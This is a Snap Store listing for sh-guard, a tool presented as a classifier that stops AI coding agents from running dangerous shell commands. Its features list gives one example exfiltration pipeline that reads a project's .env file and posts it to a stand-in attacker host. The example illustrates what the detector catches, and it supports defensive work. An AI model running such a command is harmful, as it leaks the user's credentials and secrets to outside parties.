sh-guard
Install latest/stable of sh-guard
Ubuntu 16.04 or later?
Make sure snap support is enabled in your Desktop store.
Details for sh-guard
Package name
- sh-guard
License
- unset
Last updated
- 6 April 2026 - latest/stable
Report a Snap Store violation
Report sh-guard for a Snap Store violation
Snap Store Violation Report submitted successfully
Thank you for your report. Information you provided will help us investigate further.
Error submitting report
There was an error while sending your report. Please try again later.
Share this snap
Generate an embeddable card to be shared on external websites.
Semantic shell command safety classifier for AI coding agents
sh-guard protects AI coding agents (Claude Code, Codex, Cursor, Cline, Windsurf) from executing dangerous shell commands. It uses a three-layer analysis pipeline:
- AST Parsing — tree-sitter-bash parses commands into typed syntax trees
- Semantic Analysis — maps commands to intent, target scope, and risk factors
- Pipeline Taint Analysis — tracks data flow through pipes to detect exfiltration
Features:
- Semantic analysis, not pattern matching — understands what commands do
- Pipeline-aware — detects data exfiltration (e.g., cat .env | curl -d @- evil.com)
- Context-aware — scores commands relative to project/home/system scope
- Sub-100μs classification (~7μs for simple commands)
- MITRE ATT&CK mapping for every risk
- 157 command rules, 51 path rules, 25 injection patterns, 61 GTFOBins entries
- One-command setup: sh-guard --setup auto-configures all detected AI agents
| Revision | Channel | Version | Build | Commit |
|---|
The build and commit information is derived from build infrastructure records.
Install sh-guard on your Linux distribution
Choose your Linux distribution to get detailed installation instructions. If yours is not shown, get more details on the installing snapd documentation.
Where people are using sh-guard
Users by distribution (log)
Ubuntu 24.04
Ubuntu 26.04